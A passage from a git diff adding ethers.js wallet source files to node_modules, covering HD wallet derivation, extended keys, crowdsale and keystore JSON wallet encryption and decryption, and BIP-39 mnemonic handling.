public=0x043587CF, private=0x04358394 + + assert(this.depth < 256, "Depth too deep", "UNSUPPORTED_OPERATION", { operation: "extendedKey" }); + + return encodeBase58Check(concat([ + "0x0488ADE4", zpad(this.depth, 1), this.parentFingerprint, + zpad(this.index, 4), this.chainCode, + concat([ "0x00", this.privateKey ]) + ])); + } + + /** + * Returns true if this wallet has a path, providing a Type Guard + * that the path is non-null. + */ + hasPath(): this is { path: string } { return (this.path != null); } + + /** + * Returns a neutered HD Node, which removes the private details + * of an HD Node. + * + * A neutered node has no private key, but can be used to derive + * child addresses and other public data about the HD Node. + */ + neuter(): HDNodeVoidWallet { + return new HDNodeVoidWallet(_guard, this.address, this.publicKey, + this.parentFingerprint, this.chainCode, this.path, this.index, + this.depth, this.provider); + } + + /** + * Return the child for %%index%%. + */ + deriveChild(_index: Numeric): HDNodeWallet { + const index = getNumber(_index, "index"); + assertArgument(index <= 0xffffffff, "invalid index", "index", index); + + // Base path + let path = this.path; + if (path) { + path += "/" + (index & ~HardenedBit); + if (index & HardenedBit) { path += "'"; } + } + + const { IR, IL } = ser_I(index, this.chainCode, this.publicKey, this.privateKey); + const ki = new SigningKey(toBeHex((toBigInt(IL) + BigInt(this.privateKey)) % N, 32)); + + return new HDNodeWallet(_guard, ki, this.fingerprint, hexlify(IR), + path, index, this.depth + 1, this.mnemonic, this.provider); + + } + + /** + * Return the HDNode for %%path%% from this node. + */ + derivePath(path: string): HDNodeWallet { + return derivePath(this, path); + } + + static #fromSeed(_seed: BytesLike, mnemonic: null | Mnemonic): HDNodeWallet { + assertArgument(isBytesLike(_seed), "invalid seed", "seed", "[REDACTED]"); + + const seed = getBytes(_seed, "seed"); + assertArgument(seed.length >= 16 && seed.length <= 64 , "invalid seed", "seed", "[REDACTED]"); + + const I = getBytes(computeHmac("sha512", MasterSecret, seed)); + const signingKey = new SigningKey(hexlify(I.slice(0, 32))); + + return new HDNodeWallet(_guard, signingKey, "0x00000000", hexlify(I.slice(32)), + "m", 0, 0, mnemonic, null); + } + + /** + * Creates a new HD Node from %%extendedKey%%. + * + * If the %%extendedKey%% will either have a prefix or ``xpub`` or + * ``xpriv``, returning a neutered HD Node ([[HDNodeVoidWallet]]) + * or full HD Node ([[HDNodeWallet) respectively. + */ + static fromExtendedKey(extendedKey: string): HDNodeWallet | HDNodeVoidWallet { + const bytes = toBeArray(decodeBase58(extendedKey)); // @TODO: redact + + assertArgument(bytes.length === 82 || encodeBase58Check(bytes.slice(0, 78)) === extendedKey, + "invalid extended key", "extendedKey", "[ REDACTED ]"); + + const depth = bytes[4]; + const parentFingerprint = hexlify(bytes.slice(5, 9)); + const index = parseInt(hexlify(bytes.slice(9, 13)).substring(2), 16); + const chainCode = hexlify(bytes.slice(13, 45)); + const key = bytes.slice(45, 78); + + switch (hexlify(bytes.slice(0, 4))) { + // Public Key + case "0x0488b21e": case "0x043587cf": { + const publicKey = hexlify(key); + return new HDNodeVoidWallet(_guard, computeAddress(publicKey), publicKey, + parentFingerprint, chainCode, null, index, depth, null); + } + + // Private Key + case "0x0488ade4": case "0x04358394 ": + if (key[0] !== 0) { break; } + return new HDNodeWallet(_guard, new SigningKey(key.slice(1)), + parentFingerprint, chainCode, null, index, depth, null, null); + } + + + assertArgument(false, "invalid extended key prefix", "extendedKey", "[ REDACTED ]"); + } + + /** + * Creates a new random HDNode. + */ + static createRandom(password?: string, path?: string, wordlist?: Wordlist): HDNodeWallet { + if (password == null) { password = ""; } + if (path == null) { path = defaultPath; } + if (wordlist == null) { wordlist = LangEn.wordlist(); } + const mnemonic = Mnemonic.fromEntropy(randomBytes(16), password, wordlist) + return HDNodeWallet.#fromSeed(mnemonic.computeSeed(), mnemonic).derivePath(path); + } + + /** + * Create an HD Node from %%mnemonic%%. + */ + static fromMnemonic(mnemonic: Mnemonic, path?: string): HDNodeWallet { + if (!path) { path = defaultPath; } + return HDNodeWallet.#fromSeed(mnemonic.computeSeed(), mnemonic).derivePath(path); + } + + /** + * Creates an HD Node from a mnemonic %%phrase%%. + */ + static fromPhrase(phrase: string, password?: string, path?: string, wordlist?: Wordlist): HDNodeWallet { + if (password == null) { password = ""; } + if (path == null) { path = defaultPath; } + if (wordlist == null) { wordlist = LangEn.wordlist(); } + const mnemonic = Mnemonic.fromPhrase(phrase, password, wordlist) + return HDNodeWallet.#fromSeed(mnemonic.computeSeed(), mnemonic).derivePath(path); + } + + /** + * Creates an HD Node from a %%seed%%. + */ + static fromSeed(seed: BytesLike): HDNodeWallet { + return HDNodeWallet.#fromSeed(seed, null); + } +} + +/** + * A **HDNodeVoidWallet** cannot sign, but provides access to + * the children nodes of a [[link-bip-32]] HD wallet addresses. + * + * The can be created by using an extended ``xpub`` key to + * [[HDNodeWallet_fromExtendedKey]] or by + * [nuetering](HDNodeWallet-neuter) a [[HDNodeWallet]]. + */ +export class HDNodeVoidWallet extends VoidSigner { + /** + * The compressed public key. + */ + readonly publicKey!: string; + + /** + * The fingerprint. + * + * A fingerprint allows quick qay to detect parent and child nodes, + * but developers should be prepared to deal with collisions as it + * is only 4 bytes. + */ + readonly fingerprint!: string; + + /** + * The parent node fingerprint. + */ + readonly parentFingerprint!: string; + + /** + * The chaincode, which is effectively a public key used + * to derive children. + */ + readonly chainCode!: string; + + /** + * The derivation path of this wallet. + * + * Since extended keys do not provider full path details, this + * may be ``null``, if instantiated from a source that does not + * enocde it. + */ + readonly path!: null | string; + + /** + * The child index of this wallet. Values over ``2 *\* 31`` indicate + * the node is hardened. + */ + readonly index!: number; + + /** + * The depth of this wallet, which is the number of components + * in its path. + */ + readonly depth!: number; + + /** + * @private + */ + constructor(guard: any, address: string, publicKey: string, parentFingerprint: string, chainCode: string, path: null | string, index: number, depth: number, provider: null | Provider) { + super(address, provider); + assertPrivate(guard, _guard, "HDNodeVoidWallet"); + + defineProperties(this, { publicKey }); + + const fingerprint = dataSlice(ripemd160(sha256(publicKey)), 0, 4); + defineProperties(this, { + publicKey, fingerprint, parentFingerprint, chainCode, path, index, depth + }); + } + + connect(provider: null | Provider): HDNodeVoidWallet { + return new HDNodeVoidWallet(_guard, this.address, this.publicKey, + this.parentFingerprint, this.chainCode, this.path, this.index, this.depth, provider); + } + + /** + * The extended key. + * + * This key will begin with the prefix ``xpub`` and can be used to + * reconstruct this neutered key to derive its children addresses. + */ + get extendedKey(): string { + // We only support the mainnet values for now, but if anyone needs + // testnet values, let me know. I believe current sentiment is that + // we should always use mainnet, and use BIP-44 to derive the network + // - Mainnet: public=0x0488B21E, private=0x0488ADE4 + // - Testnet: public=0x043587CF, private=0x04358394 + + assert(this.depth < 256, "Depth too deep", "UNSUPPORTED_OPERATION", { operation: "extendedKey" }); + + return encodeBase58Check(concat([ + "0x0488B21E", + zpad(this.depth, 1), + this.parentFingerprint, + zpad(this.index, 4), + this.chainCode, + this.publicKey, + ])); + } + + /** + * Returns true if this wallet has a path, providing a Type Guard + * that the path is non-null. + */ + hasPath(): this is { path: string } { return (this.path != null); } + + /** + * Return the child for %%index%%. + */ + deriveChild(_index: Numeric): HDNodeVoidWallet { + const index = getNumber(_index, "index"); + assertArgument(index <= 0xffffffff, "invalid index", "index", index); + + // Base path + let path = this.path; + if (path) { + path += "/" + (index & ~HardenedBit); + if (index & HardenedBit) { path += "'"; } + } + + const { IR, IL } = ser_I(index, this.chainCode, this.publicKey, null); + const Ki = SigningKey.addPoints(IL, this.publicKey, true); + + const address = computeAddress(Ki); + + return new HDNodeVoidWallet(_guard, address, Ki, this.fingerprint, hexlify(IR), + path, index, this.depth + 1, this.provider); + + } + + /** + * Return the signer for %%path%% from this node. + */ + derivePath(path: string): HDNodeVoidWallet { + return derivePath(this, path); + } +} + +/* +export class HDNodeWalletManager { + #root: HDNodeWallet; + + constructor(phrase: string, password?: null | string, path?: null | string, locale?: null | Wordlist) { + if (password == null) { password = ""; } + if (path == null) { path = "m/44'/60'/0'/0"; } + if (locale == null) { locale = LangEn.wordlist(); } + this.#root = HDNodeWallet.fromPhrase(phrase, password, path, locale); + } + + getSigner(index?: number): HDNodeWallet { + return this.#root.deriveChild((index == null) ? 0: index); + } +} +*/ + +/** + * Returns the [[link-bip-32]] path for the account at %%index%%. + * + * This is the pattern used by wallets like Ledger. + * + * There is also an [alternate pattern](getIndexedAccountPath) used by + * some software. + */ +export function getAccountPath(_index: Numeric): string { + const index = getNumber(_index, "index"); + assertArgument(index >= 0 && index < HardenedBit, "invalid account index", "index", index); + return `m/44'/60'/${ index }'/0/0`; +} + +/** + * Returns the path using an alternative pattern for deriving accounts, + * at %%index%%. + * + * This derivation path uses the //index// component rather than the + * //account// component to derive sequential accounts. + * + * This is the pattern used by wallets like MetaMask. + */ +export function getIndexedAccountPath(_index: Numeric): string { + const index = getNumber(_index, "index"); + assertArgument(index >= 0 && index < HardenedBit, "invalid account index", "index", index); + return `m/44'/60'/0'/0/${ index}`; +} + diff --git a/node_modules/ethers/src.ts/wallet/index.ts b/node_modules/ethers/src.ts/wallet/index.ts new file mode 100644 index 000000000000..4a5f1b7b2e9a --- /dev/null +++ b/node_modules/ethers/src.ts/wallet/index.ts @@ -0,0 +1,47 @@ +/** + * When interacting with Ethereum, it is necessary to use a private + * key authenticate actions by signing a payload. + * + * Wallets are the simplest way to expose the concept of an + * //Externally Owner Account// (EOA) as it wraps a private key + * and supports high-level methods to sign common types of interaction + * and send transactions. + * + * The class most developers will want to use is [[Wallet]], which + * can load a private key directly or from any common wallet format. + * + * The [[HDNodeWallet]] can be used when it is necessary to access + * low-level details of how an HD wallets are derived, exported + * or imported. + * + * @_section: api/wallet:Wallets [about-wallets] + */ + +export { BaseWallet } from "./base-wallet.js"; + +export { + defaultPath, + + getAccountPath, getIndexedAccountPath, + + HDNodeWallet, + HDNodeVoidWallet, +} from "./hdwallet.js"; + +export { isCrowdsaleJson, decryptCrowdsaleJson } from "./json-crowdsale.js"; + +export { + isKeystoreJson, + decryptKeystoreJsonSync, decryptKeystoreJson, + encryptKeystoreJson, encryptKeystoreJsonSync +} from "./json-keystore.js"; + +export { Mnemonic } from "./mnemonic.js"; + +export { Wallet } from "./wallet.js"; + + +export type { CrowdsaleAccount } from "./json-crowdsale.js"; +export type { + KeystoreAccount, EncryptOptions +} from "./json-keystore.js" diff --git a/node_modules/ethers/src.ts/wallet/json-crowdsale.ts b/node_modules/ethers/src.ts/wallet/json-crowdsale.ts new file mode 100644 index 000000000000..7a1180aa5aab --- /dev/null +++ b/node_modules/ethers/src.ts/wallet/json-crowdsale.ts @@ -0,0 +1,74 @@ +/** + * @_subsection: api/wallet:JSON Wallets [json-wallets] + */ + +import { CBC, pkcs7Strip } from "aes-js"; + +import { getAddress } from "../address/index.js"; +import { pbkdf2 } from "../crypto/index.js"; +import { id } from "../hash/index.js"; +import { getBytes, assertArgument } from "../utils/index.js"; + +import { getPassword, looseArrayify, spelunk } from "./utils.js"; + + +/** + * The data stored within a JSON Crowdsale wallet is fairly + * minimal. + */ +export type CrowdsaleAccount = { + privateKey: string; + address: string; +} + +/** + * Returns true if %%json%% is a valid JSON Crowdsale wallet. + */ +export function isCrowdsaleJson(json: string): boolean { + try { + const data = JSON.parse(json); + if (data.encseed) { return true; } + } catch (error) { } + return false; +} + +// See: https://github.com/ethereum/pyethsaletool + +/** + * Before Ethereum launched, it was necessary to create a wallet + * format for backers to use, which would be used to receive ether + * as a reward for contributing to the project. + * + * The [[link-crowdsale]] format is now obsolete, but it is still + * useful to support and the additional code is fairly trivial as + * all the primitives required are used through core portions of + * the library. + */ +export function decryptCrowdsaleJson(json: string, _password: string | Uint8Array): CrowdsaleAccount { + const data = JSON.parse(json); + const password = getPassword(_password); + + // Ethereum Address + const address = getAddress(spelunk(data, "ethaddr:string!")); + + // Encrypted Seed + const encseed = looseArrayify(spelunk(data, "encseed:string!")); + assertArgument(encseed && (encseed.length % 16) === 0, "invalid encseed", "json", json); + + const key = getBytes(pbkdf2(password, password, 2000, 32, "sha256")).slice(0, 16); + + const iv = encseed.slice(0, 16); + const encryptedSeed = encseed.slice(16); + + // Decrypt the seed + const aesCbc = new CBC(key, iv); + const seed = pkcs7Strip(getBytes(aesCbc.decrypt(encryptedSeed))); + + // This wallet format is weird... Convert the binary encoded hex to a string. + let seedHex = ""; + for (let i = 0; i < seed.length; i++) { + seedHex += String.fromCharCode(seed[i]); + } + + return { address, privateKey: id(seedHex) }; +} diff --git a/node_modules/ethers/src.ts/wallet/json-keystore.ts b/node_modules/ethers/src.ts/wallet/json-keystore.ts new file mode 100644 index 000000000000..0a53bbc92227 --- /dev/null +++ b/node_modules/ethers/src.ts/wallet/json-keystore.ts @@ -0,0 +1,389 @@ +/** + * The JSON Wallet formats allow a simple way to store the private + * keys needed in Ethereum along with related information and allows + * for extensible forms of encryption. + * + * These utilities facilitate decrypting and encrypting the most common + * JSON Wallet formats. + * + * @_subsection: api/wallet:JSON Wallets [json-wallets] + */ + +import { CTR } from "aes-js"; + +import { getAddress } from "../address/index.js"; +import { keccak256, pbkdf2, randomBytes, scrypt, scryptSync } from "../crypto/index.js"; +import { computeAddress } from "../transaction/index.js"; +import { + concat, getBytes, hexlify, uuidV4, assert, assertArgument +} from "../utils/index.js"; + +import { getPassword, spelunk, zpad } from "./utils.js"; + +import type { ProgressCallback } from "../crypto/index.js"; +import type { BytesLike } from "../utils/index.js"; + +import { version } from "../_version.js"; + + +const defaultPath = "m/44'/60'/0'/0/0"; + +/** + * The contents of a JSON Keystore Wallet. + */ +export type KeystoreAccount = { + address: string; + privateKey: string; + mnemonic?: { + path?: string; + locale?: string; + entropy: string; + } +}; + +/** + * The parameters to use when encrypting a JSON Keystore Wallet. + */ +export type EncryptOptions = { + progressCallback?: ProgressCallback; + iv?: BytesLike; + entropy?: BytesLike; + client?: string; + salt?: BytesLike; + uuid?: string; + scrypt?: { + N?: number; + r?: number; + p?: number; + } +} + +/** + * Returns true if %%json%% is a valid JSON Keystore Wallet. + */ +export function isKeystoreJson(json: string): boolean { + try { + const data = JSON.parse(json); + const version = ((data.version != null) ? parseInt(data.version): 0); + if (version === 3) { return true; } + } catch (error) { } + return false; +} + +function decrypt(data: any, key: Uint8Array, ciphertext: Uint8Array): string { + const cipher = spelunk(data, "crypto.cipher:string"); + if (cipher === "aes-128-ctr") { + const iv = spelunk(data, "crypto.cipherparams.iv:data!") + const aesCtr = new CTR(key, iv); + return hexlify(aesCtr.decrypt(ciphertext)); + } + + assert(false, "unsupported cipher", "UNSUPPORTED_OPERATION", { + operation: "decrypt" + }); +} + +function getAccount(data: any, _key: string): KeystoreAccount { + const key = getBytes(_key); + const ciphertext = spelunk(data, "crypto.ciphertext:data!"); + + const computedMAC = hexlify(keccak256(concat([ key.slice(16, 32), ciphertext ]))).substring(2); + assertArgument(computedMAC === spelunk(data, "crypto.mac:string!").toLowerCase(), + "incorrect password", "password", "[ REDACTED ]"); + + const privateKey = decrypt(data, key.slice(0, 16), ciphertext); + + const address = computeAddress(privateKey); + if (data.address) { + let check = data.address.toLowerCase(); + if (!check.startsWith("0x")) { check = "0x" + check; } + + assertArgument(getAddress(check) === address, "keystore address/privateKey mismatch", "address", data.address); + } + + const account: KeystoreAccount = { address, privateKey }; + + // Version 0.1 x-ethers metadata must contain an encrypted mnemonic phrase + const version = spelunk(data, "x-ethers.version:string"); + if (version === "0.1") { + const mnemonicKey = key.slice(32, 64); + + const mnemonicCiphertext = spelunk(data, "x-ethers.mnemonicCiphertext:data!"); + const mnemonicIv = spelunk(data, "x-ethers.mnemonicCounter:data!"); + + const mnemonicAesCtr = new CTR(mnemonicKey, mnemonicIv); + + account.mnemonic = { + path: (spelunk(data, "x-ethers.path:string") || defaultPath), + locale: (spelunk(data, "x-ethers.locale:string") || "en"), + entropy: hexlify(getBytes(mnemonicAesCtr.decrypt(mnemonicCiphertext))) + }; + } + + return account; +} + +type ScryptParams = { + name: "scrypt"; + salt: Uint8Array; + N: number; + r: number; + p: number; + dkLen: number; +}; + +type KdfParams = ScryptParams | { + name: "pbkdf2"; + salt: Uint8Array; + count: number; + dkLen: number; + algorithm: "sha256" | "sha512"; +}; + +function getDecryptKdfParams(data: any): KdfParams { + const kdf = spelunk(data, "crypto.kdf:string"); + if (kdf && typeof(kdf) === "string") { + if (kdf.toLowerCase() === "scrypt") { + const salt = spelunk(data, "crypto.kdfparams.salt:data!"); + const N = spelunk(data, "crypto.kdfparams.n:int!"); + const r = spelunk(data, "crypto.kdfparams.r:int!"); + const p = spelunk(data, "crypto.kdfparams.p:int!"); + + // Make sure N is a power of 2 + assertArgument(N > 0 && (N & (N - 1)) === 0, "invalid kdf.N", "kdf.N", N); + assertArgument(r > 0 && p > 0, "invalid kdf", "kdf", kdf); + + const dkLen = spelunk(data, "crypto.kdfparams.dklen:int!"); + assertArgument(dkLen === 32, "invalid kdf.dklen", "kdf.dflen", dkLen); + + return { name: "scrypt", salt, N, r, p, dkLen: 64 }; + + } else if (kdf.toLowerCase() === "pbkdf2") { + + const salt = spelunk(data, "crypto.kdfparams.salt:data!"); + + const prf = spelunk(data, "crypto.kdfparams.prf:string!"); + const algorithm = prf.split("-").pop(); + assertArgument(algorithm === "sha256" || algorithm === "sha512", "invalid kdf.pdf", "kdf.pdf", prf); + + const count = spelunk(data, "crypto.kdfparams.c:int!"); + + const dkLen = spelunk(data, "crypto.kdfparams.dklen:int!"); + assertArgument(dkLen === 32, "invalid kdf.dklen", "kdf.dklen", dkLen); + + return { name: "pbkdf2", salt, count, dkLen, algorithm }; + } + } + + assertArgument(false, "unsupported key-derivation function", "kdf", kdf); +} + + +/** + * Returns the account details for the JSON Keystore Wallet %%json%% + * using %%password%%. + * + * It is preferred to use the [async version](decryptKeystoreJson) + * instead, which allows a [[ProgressCallback]] to keep the user informed + * as to the decryption status. + * + * This method will block the event loop (freezing all UI) until decryption + * is complete, which can take quite some time, depending on the wallet + * paramters and platform. + */ +export function decryptKeystoreJsonSync(json: string, _password: string | Uint8Array): KeystoreAccount { + const data = JSON.parse(json); + + const password = getPassword(_password); + + const params = getDecryptKdfParams(data); + if (params.name === "pbkdf2") { + const { salt, count, dkLen, algorithm } = params; + const key = pbkdf2(password, salt, count, dkLen, algorithm); + return getAccount(data, key); + } + + assert(params.name === "scrypt", "cannot be reached", "UNKNOWN_ERROR", { params }) + + const { salt, N, r, p, dkLen } = params; + const key = scryptSync(password, salt, N, r, p, dkLen); + return getAccount(data, key); +} + +function stall(duration: number): Promise { + return new Promise((resolve) => { setTimeout(() => { resolve(); }, duration); }); +} + +/** + * Resolves to the decrypted JSON Keystore Wallet %%json%% using the + * %%password%%. + * + * If provided, %%progress%% will be called periodically during the + * decrpytion to provide feedback, and if the function returns + * ``false`` will halt decryption. + * + * The %%progressCallback%% will **always** receive ``0`` before + * decryption begins and ``1`` when complete. + */ +export async function decryptKeystoreJson(json: string, _password: string | Uint8Array, progress?: ProgressCallback): Promise { + const data = JSON.parse(json); + + const password = getPassword(_password); + + const params = getDecryptKdfParams(data); + if (params.name === "pbkdf2") { + if (progress) { + progress(0); + await stall(0); + } + const { salt, count, dkLen, algorithm } = params; + const key = pbkdf2(password, salt, count, dkLen, algorithm); + if (progress) { + progress(1); + await stall(0); + } + return getAccount(data, key); + } + + assert(params.name === "scrypt", "cannot be reached", "UNKNOWN_ERROR", { params }) + + const { salt, N, r, p, dkLen } = params; + const key = await scrypt(password, salt, N, r, p, dkLen, progress); + return getAccount(data, key); +} + +function getEncryptKdfParams(options: EncryptOptions): ScryptParams { + // Check/generate the salt + const salt = (options.salt != null) ? getBytes(options.salt, "options.salt"): randomBytes(32); + + // Override the scrypt password-based key derivation function parameters + let N = (1 << 17), r = 8, p = 1; + if (options.scrypt) { + if (options.scrypt.N) { N = options.scrypt.N; } + if (options.scrypt.r) { r = options.scrypt.r; } + if (options.scrypt.p) { p = options.scrypt.p; } + } + assertArgument(typeof(N) === "number" && N > 0 && Number.isSafeInteger(N) && (BigInt(N) & BigInt(N - 1)) === BigInt(0), "invalid scrypt N parameter", "options.N", N); + assertArgument(typeof(r) === "number" && r > 0 && Number.isSafeInteger(r), "invalid scrypt r parameter", "options.r", r); + assertArgument(typeof(p) === "number" && p > 0 && Number.isSafeInteger(p), "invalid scrypt p parameter", "options.p", p); + + return { name: "scrypt", dkLen: 32, salt, N, r, p }; +} + +function _encryptKeystore(key: Uint8Array, kdf: ScryptParams, account: KeystoreAccount, options: EncryptOptions): any { + + const privateKey = getBytes(account.privateKey, "privateKey"); + + // Override initialization vector + const iv = (options.iv != null) ? getBytes(options.iv, "options.iv"): randomBytes(16); + assertArgument(iv.length === 16, "invalid options.iv length", "options.iv", options.iv); + + // Override the uuid + const uuidRandom = (options.uuid != null) ? getBytes(options.uuid, "options.uuid"): randomBytes(16); + assertArgument(uuidRandom.length === 16, "invalid options.uuid length", "options.uuid", options.iv); + + // This will be used to encrypt the wallet (as per Web3 secret storage) + // - 32 bytes As normal for the Web3 secret storage (derivedKey, macPrefix) + // - 32 bytes AES key to encrypt mnemonic with (required here to be Ethers Wallet) + const derivedKey = key.slice(0, 16); + const macPrefix = key.slice(16, 32); + + // Encrypt the private key + const aesCtr = new CTR(derivedKey, iv); + const ciphertext = getBytes(aesCtr.encrypt(privateKey)); + + // Compute the message authentication code, used to check the password + const mac = keccak256(concat([ macPrefix, ciphertext ])) + + // See: https://github.com/ethereum/wiki/wiki/Web3-Secret-Storage-Definition + const data: { [key: string]: any } = { + address: account.address.substring(2).toLowerCase(), + id: uuidV4(uuidRandom), + version: 3, + Crypto: { + cipher: "aes-128-ctr", + cipherparams: { + iv: hexlify(iv).substring(2), + }, + ciphertext: hexlify(ciphertext).substring(2), + kdf: "scrypt", + kdfparams: { + salt: hexlify(kdf.salt).substring(2), + n: kdf.N, + dklen: 32, + p: kdf.p, + r: kdf.r + }, + mac: mac.substring(2) + } + }; + + // If we have a mnemonic, encrypt it into the JSON wallet + if (account.mnemonic) { + const client = (options.client != null) ? options.client: `ethers/${ version }`; + + const path = account.mnemonic.path || defaultPath; + const locale = account.mnemonic.locale || "en"; + + const mnemonicKey = key.slice(32, 64); + + const entropy = getBytes(account.mnemonic.entropy, "account.mnemonic.entropy"); + const mnemonicIv = randomBytes(16); + const mnemonicAesCtr = new CTR(mnemonicKey, mnemonicIv); + const mnemonicCiphertext = getBytes(mnemonicAesCtr.encrypt(entropy)); + + const now = new Date(); + const timestamp = (now.getUTCFullYear() + "-" + + zpad(now.getUTCMonth() + 1, 2) + "-" + + zpad(now.getUTCDate(), 2) + "T" + + zpad(now.getUTCHours(), 2) + "-" + + zpad(now.getUTCMinutes(), 2) + "-" + + zpad(now.getUTCSeconds(), 2) + ".0Z"); + const gethFilename = ("UTC--" + timestamp + "--" + data.address); + + data["x-ethers"] = { + client, gethFilename, path, locale, + mnemonicCounter: hexlify(mnemonicIv).substring(2), + mnemonicCiphertext: hexlify(mnemonicCiphertext).substring(2), + version: "0.1" + }; + } + + return JSON.stringify(data); +} + +/** + * Return the JSON Keystore Wallet for %%account%% encrypted with + * %%password%%. + * + * The %%options%% can be used to tune the password-based key + * derivation function parameters, explicitly set the random values + * used. Any provided [[ProgressCallback]] is ignord. + */ +export function encryptKeystoreJsonSync(account: KeystoreAccount, password: string | Uint8Array, options?: EncryptOptions): string { + if (options == null) { options = { }; } + + const passwordBytes = getPassword(password); + const kdf = getEncryptKdfParams(options); + const key = scryptSync(passwordBytes, kdf.salt, kdf.N, kdf.r, kdf.p, 64); + return _encryptKeystore(getBytes(key), kdf, account, options); +} + +/** + * Resolved to the JSON Keystore Wallet for %%account%% encrypted + * with %%password%%. + * + * The %%options%% can be used to tune the password-based key + * derivation function parameters, explicitly set the random values + * used and provide a [[ProgressCallback]] to receive periodic updates + * on the completion status.. + */ +export async function encryptKeystoreJson(account: KeystoreAccount, password: string | Uint8Array, options?: EncryptOptions): Promise { + if (options == null) { options = { }; } + + const passwordBytes = getPassword(password); + const kdf = getEncryptKdfParams(options); + const key = await scrypt(passwordBytes, kdf.salt, kdf.N, kdf.r, kdf.p, 64, options.progressCallback); + return _encryptKeystore(getBytes(key), kdf, account, options); +} + diff --git a/node_modules/ethers/src.ts/wallet/mnemonic.ts b/node_modules/ethers/src.ts/wallet/mnemonic.ts new file mode 100644 index 000000000000..e133888c03ff --- /dev/null +++ b/node_modules/ethers/src.ts/wallet/mnemonic.ts @@ -0,0 +1,203 @@ +import { pbkdf2, sha256 } from "../crypto/index.js"; +import { + defineProperties, getBytes, hexlify, assertNormalize, assertPrivate, assertArgument, toUtf8Bytes +} from "../utils/index.js"; +import { LangEn } from "../wordlists/lang-en.js"; + +import type { BytesLike } from "../utils/index.js"; +import type { Wordlist } from "../wordlists/index.js"; + + +// Returns a byte with the MSB bits set +function getUpperMask(bits: number): number { + return ((1 << bits) - 1) << (8 - bits) & 0xff; +} + +// Returns a byte with the LSB bits set +function getLowerMask(bits: number): number { + return ((1 << bits) - 1) & 0xff; +} + + +function mnemonicToEntropy(mnemonic: string, wordlist?: null | Wordlist): string { + assertNormalize("NFKD"); + + if (wordlist == null) { wordlist = LangEn.wordlist(); } + + const words = wordlist.split(mnemonic); + assertArgument((words.length % 3) === 0 && words.length >= 12 && words.length <= 24, + "invalid mnemonic length", "mnemonic", "[ REDACTED ]"); + + const entropy = new Uint8Array(Math.ceil(11 * words.length / 8)); + + let offset = 0; + for (let i = 0; i < words.length; i++) { + let index = wordlist.getWordIndex(words[i].normalize("NFKD")); + assertArgument(index >= 0, `invalid mnemonic word at index ${ i }`, "mnemonic", "[ REDACTED ]"); + + for (let bit = 0; bit < 11; bit++) { + if (index & (1 << (10 - bit))) { + entropy[offset >> 3] |= (1 << (7 - (offset % 8))); + } + offset++; + } + } + + const entropyBits = 32 * words.length / 3; + + + const checksumBits = words.length / 3; + const checksumMask = getUpperMask(checksumBits); + + const checksum = getBytes(sha256(entropy.slice(0, entropyBits / 8)))[0] & checksumMask; + + assertArgument(checksum === (entropy[entropy.length - 1] & checksumMask), + "invalid mnemonic checksum", "mnemonic", "[ REDACTED ]"); + + return hexlify(entropy.slice(0, entropyBits / 8)); +} + +function entropyToMnemonic(entropy: Uint8Array, wordlist?: null | Wordlist): string { + + assertArgument((entropy.length % 4) === 0 && entropy.length >= 16 && entropy.length <= 32, + "invalid entropy size", "entropy", "[ REDACTED ]"); + + if (wordlist == null) { wordlist = LangEn.wordlist(); } + + const indices: Array = [ 0 ]; + + let remainingBits = 11; + for (let i = 0; i < entropy.length; i++) { + + // Consume the whole byte (with still more to go) + if (remainingBits > 8) { + indices[indices.length - 1] <<= 8; + indices[indices.length - 1] |= entropy[i]; + + remainingBits -= 8; + + // This byte will complete an 11-bit index + } else { + indices[indices.length - 1] <<= remainingBits; + indices[indices.length - 1] |= entropy[i] >> (8 - remainingBits); + + // Start the next word + indices.push(entropy[i] & getLowerMask(8 - remainingBits)); + + remainingBits += 3; + } + } + + // Compute the checksum bits + const checksumBits = entropy.length / 4; + const checksum = parseInt(sha256(entropy).substring(2, 4), 16) & getUpperMask(checksumBits); + + // Shift the checksum into the word indices + indices[indices.length - 1] <<= checksumBits; + indices[indices.length - 1] |= (checksum >> (8 - checksumBits)); + + return wordlist.join(indices.map((index) => (wordlist).getWord(index))); +} + +const _guard = { }; + +/** + * A **Mnemonic** wraps all properties required to compute [[link-bip-39]] + * seeds and convert between phrases and entropy. + */ +export class Mnemonic { + /** + * The mnemonic phrase of 12, 15, 18, 21 or 24 words. + * + * Use the [[wordlist]] ``split`` method to get the individual words. + */ + readonly phrase!: string; + + /** + * The password used for this mnemonic. If no password is used this + * is the empty string (i.e. ``""``) as per the specification. + */ + readonly password!: string; + + /** + * The wordlist for this mnemonic. + */ + readonly wordlist!: Wordlist; + + /** + * The underlying entropy which the mnemonic encodes. + */ + readonly entropy!: string; + + /** + * @private + */ + constructor(guard: any, entropy: string, phrase: string, password?: null | string, wordlist?: null | Wordlist) { + if (password == null) { password = ""; } + if (wordlist == null) { wordlist = LangEn.wordlist(); } + assertPrivate(guard, _guard, "Mnemonic"); + defineProperties(this, { phrase, password, wordlist, entropy }); + } + + /** + * Returns the seed for the mnemonic. + */ + computeSeed(): string { + const salt = toUtf8Bytes("mnemonic" + this.password, "NFKD"); + return pbkdf2(toUtf8Bytes(this.phrase, "NFKD"), salt, 2048, 64, "sha512"); + } + + /** + * Creates a new Mnemonic for the %%phrase%%. + * + * The default %%password%% is the empty string and the default + * wordlist is the [English wordlists](LangEn). + */ + static fromPhrase(phrase: string, password?: null | string, wordlist?: null | Wordlist): Mnemonic { + // Normalize the case and space; throws if invalid + const entropy = mnemonicToEntropy(phrase, wordlist); + phrase = entropyToMnemonic(getBytes(entropy), wordlist); + return new Mnemonic(_guard, entropy, phrase, password, wordlist); + } + + /** + * Create a new **Mnemonic** from the %%entropy%%. + * + * The default %%password%% is the empty string and the default + * wordlist is the [English wordlists](LangEn). + */ + static fromEntropy(_entropy: BytesLike, password?: null | string, wordlist?: null | Wordlist): Mnemonic { + const entropy = getBytes(_entropy, "entropy"); + const phrase = entropyToMnemonic(entropy, wordlist); + return new Mnemonic(_guard, hexlify(entropy), phrase, password, wordlist); + } + + /** + * Returns the phrase for %%mnemonic%%. + */ + static entropyToPhrase(_entropy: BytesLike, wordlist?: null | Wordlist): string { + const entropy = getBytes(_entropy, "entropy"); + return entropyToMnemonic(entropy, wordlist); + } + + /** + * Returns the entropy for %%phrase%%. + */ + static phraseToEntropy(phrase: string, wordlist?: null | Wordlist): string { + return mnemonicToEntropy(phrase, wordlist); + } + + /** + * Returns true if %%phrase%% is a valid [[link-bip-39]] phrase. + * + * This checks all the provided words belong to the %%wordlist%%, + * that the length is valid and the checksum is correct. + */ + static isValidMnemonic(phrase: string, wordlist?: null | Wordlist): boolean { + try { + 